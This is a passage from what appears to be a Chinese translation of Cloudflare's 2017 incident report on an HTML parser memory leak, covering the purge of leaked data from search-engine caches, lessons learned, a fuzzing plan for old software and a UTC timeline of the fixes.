因为Cloudflare运行大型共享基础架构,因此对易受此问题影响的Cloudflare网站的HTTP请求可能会泄露不相关的其他Cloudflare站点的信息。

另一个问题是,Google(和其他搜索引擎)通过其正常的抓取和缓存过程缓存了一些泄漏的内存。我们想要确保在公开披露问题之前从搜索引擎缓存中清除这些内存,以便第三方无法搜索敏感信息。

我们倾向是尽快得到错误的消息,但我们认为我们有责任确保搜索引擎缓存在公开宣布之前被擦除。

信息安全团队努力在搜索引擎缓存中识别已泄漏内存并清除内存的URI。在Google,Yahoo,Bing和其他人的帮助下,我们发现了770个已被缓存且包含泄漏内存的独特的URI。770个独特的URI涵盖161个唯一域。泄漏的内存已经在搜索引擎的帮助下清除。

我们还进行其他搜索,寻找在像Pastebin这样的网站上可能泄漏的信息,且没有找到任何东西。

八、一些课题

新的HTML解析器的工程师一直担心影响我们的服务,他们花了几个小时来验证它不包含安全问题。

不幸的是,这是一个古老的软件且包含一个潜在的安全问题,而这个问题只出现于我们在迁移抛弃它的过程。我们的内部信息安全团队现在正在进行一个项目,以模糊测试旧软件的方式寻找潜在的其他安全问题。

九、时间点细节

我们非常感谢Google的同事就此问题与我们联系,并通过其解决方案与我们密切合作。所有这些都没有任何报告,表明外界的各方已经确定了问题或利用它。

所有时间均为UTC时间。

  • 2017-02-18 0011 来自Tavis Ormandy的推特寻求Cloudflare的联系方式
  • 2017-02-18 0032 Cloudflare 收到来自谷歌的bug细节
  • 2017-02-18 0040 多个团队汇集在San Francisco
  • 2017-02-18 0119 全球范围内关闭邮件混淆功能
  • 2017-02-18 0122 London团队加入
  • 2017-02-18 0424 自动HTTPs重写功能关闭
  • 2017-02-18 0722 实现针对cf-html解析器的关闭开关,并全球部署
  • 2017-02-20 2159 SAFE_CHAR 修复部署
  • 2017-02-21 1803 自动HTTPs重写,服务端排除和邮件混淆重启功能

【编辑推荐】